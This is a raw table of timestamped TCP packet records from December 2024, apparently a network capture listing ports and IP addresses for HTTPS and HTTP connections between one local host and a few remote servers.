Dec 4, 2024 16:16:14.659291983 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:14.659693003 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:14.660074949 CET	49889	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:14.660168886 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:14.660307884 CET	49889	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:14.661318064 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.661895990 CET	49888	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.661921024 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.662404060 CET	49888	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.662414074 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.707340002 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:14.892704010 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.895801067 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.895934105 CET	49887	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.896053076 CET	49887	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.896075010 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.896090031 CET	49887	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.896095991 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.899724960 CET	49892	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.899777889 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.899866104 CET	49892	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.900068998 CET	49892	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.900083065 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.089962006 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.090045929 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.090109110 CET	49882	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.090392113 CET	49882	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.090418100 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.090432882 CET	49882	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.090439081 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.094219923 CET	49893	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.094260931 CET	443	49893	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.094372034 CET	49893	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.094584942 CET	49893	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.094599962 CET	443	49893	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.095650911 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.098926067 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.099018097 CET	49888	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.099072933 CET	49888	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.099092960 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.099104881 CET	49888	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.099113941 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.102330923 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.102375984 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.102452993 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.102580070 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.102595091 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.313370943 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.314167976 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.314209938 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.314691067 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.314697981 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.635752916 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:15.635864973 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:15.635978937 CET	49889	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:15.636262894 CET	49889	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:15.636281967 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:15.681998968 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.682779074 CET	49891	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.682804108 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.683293104 CET	49891	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.683303118 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.747858047 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.747889996 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.747950077 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.747998953 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.748053074 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.748286009 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.748307943 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.748321056 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.748326063 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.752876997 CET	49895	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.752928972 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:15.753051043 CET	49895	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.753200054 CET	49895	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:15.753216982 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.118837118 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.121543884 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.121603012 CET	49891	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.121648073 CET	49891	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.121665955 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.121676922 CET	49891	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.121682882 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.125422955 CET	49896	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.125464916 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.125526905 CET	49896	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.125754118 CET	49896	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.125765085 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.616060019 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.616741896 CET	49892	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.616774082 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.617371082 CET	49892	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.617376089 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.809842110 CET	443	49893	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.810635090 CET	49893	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.810663939 CET	443	49893	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.811150074 CET	49893	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.811156034 CET	443	49893	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.818416119 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.818870068 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.818902016 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:16.819303036 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:16.819309950 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.049976110 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.053868055 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.053987980 CET	49892	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.054065943 CET	49892	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.054084063 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.054095030 CET	49892	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.054100990 CET	443	49892	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.057470083 CET	49897	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.057504892 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.057604074 CET	49897	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.057746887 CET	49897	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.057760000 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.243654013 CET	443	49893	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.247421980 CET	443	49893	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.247561932 CET	49893	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.247669935 CET	49893	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.247687101 CET	443	49893	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.251205921 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.251250982 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.251441956 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.251478910 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.251485109 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.253139973 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.256253004 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.256306887 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.256304979 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.256356001 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.256409883 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.256426096 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.256437063 CET	49894	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.256443024 CET	443	49894	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.259443998 CET	49899	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.259483099 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.259567976 CET	49899	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.259727955 CET	49899	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.259741068 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.480292082 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.481194973 CET	49895	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.481223106 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.482054949 CET	49895	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.482060909 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.845216990 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.845915079 CET	49896	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.845942020 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.846493959 CET	49896	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.846501112 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.916579008 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.919790030 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.919877052 CET	49895	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.919940948 CET	49895	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.919965029 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.919977903 CET	49895	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.919984102 CET	443	49895	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.923909903 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.923952103 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:17.924031973 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.924249887 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:17.924271107 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.284427881 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.284545898 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.284651995 CET	49896	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.284921885 CET	49896	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.284944057 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.284957886 CET	49896	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.284964085 CET	443	49896	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.288657904 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.288686991 CET	443	49901	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.288786888 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.288979053 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.288991928 CET	443	49901	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.299854040 CET	80	49721	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:18.299928904 CET	49721	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:18.792973995 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.793761969 CET	49897	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.793781996 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.794282913 CET	49897	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.794286966 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.977125883 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.977844954 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.977880001 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.978353024 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.978364944 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.990374088 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.991038084 CET	49899	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.991055965 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:18.991475105 CET	49899	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:18.991482973 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.229316950 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.229387999 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.229434013 CET	49897	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.229720116 CET	49897	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.229720116 CET	49897	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.229737043 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.229752064 CET	443	49897	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.233681917 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.233747959 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.233824968 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.234030962 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.234049082 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.414133072 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.417815924 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.417866945 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.417872906 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.417939901 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.418032885 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.418032885 CET	49898	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.418054104 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.418065071 CET	443	49898	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.421710014 CET	49903	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.421740055 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.421806097 CET	49903	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.422034979 CET	49903	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.422049999 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.425201893 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.428780079 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.428867102 CET	49899	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.428949118 CET	49899	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.428949118 CET	49899	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.428963900 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.428975105 CET	443	49899	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.432190895 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.432208061 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.432287931 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.432477951 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.432488918 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.451858997 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.452486992 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.452510118 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.453001022 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.453011036 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.604759932 CET	49721	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:19.725594997 CET	80	49721	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:19.888902903 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.891881943 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.891949892 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.891952991 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.892004013 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.892077923 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.892096043 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.892106056 CET	49900	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.892112017 CET	443	49900	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.895466089 CET	49905	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.895507097 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:19.895591021 CET	49905	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.895771980 CET	49905	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:19.895782948 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.011430025 CET	443	49901	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.012356997 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.012387037 CET	443	49901	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.012805939 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.012815952 CET	443	49901	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.446842909 CET	443	49901	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.449971914 CET	443	49901	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.450160027 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.450160027 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.450160027 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.453336954 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.453383923 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.453460932 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.453628063 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.453640938 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.758105040 CET	49901	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.758130074 CET	443	49901	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.857495070 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:20.857562065 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:20.857749939 CET	49881	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:16:20.948375940 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.949357033 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.949388027 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:20.949954987 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:20.949968100 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.366597891 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.366652012 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.367649078 CET	49903	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.367651939 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.367659092 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.367661953 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.368058920 CET	49903	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.368062973 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.368119955 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.368124962 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.385165930 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.388650894 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.388699055 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.388726950 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.388885975 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.388885975 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.388885975 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.392661095 CET	49907	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.392694950 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.392781973 CET	49907	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.392993927 CET	49907	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.393007040 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.604228973 CET	49881	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:16:21.604262114 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:21.634453058 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.635102987 CET	49905	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.635127068 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.635641098 CET	49905	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.635649920 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.695444107 CET	49902	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.695497990 CET	443	49902	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.827410936 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.830298901 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.830809116 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.830868006 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.830913067 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.830959082 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.831006050 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.831027031 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.831058979 CET	49904	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.831064939 CET	443	49904	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.833378077 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.833483934 CET	49903	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.833515882 CET	49903	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.833525896 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.833534956 CET	49903	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.833540916 CET	443	49903	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.834533930 CET	49908	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.834553957 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.834671021 CET	49908	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.834866047 CET	49908	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.834881067 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.836184978 CET	49909	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.836200953 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:21.836277008 CET	49909	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.836416006 CET	49909	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:21.836422920 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.071456909 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.074799061 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.074879885 CET	49905	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.074939966 CET	49905	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.074958086 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.074970961 CET	49905	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.074975967 CET	443	49905	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.078342915 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.078373909 CET	443	49910	13.107.246.43	192.168.2.6
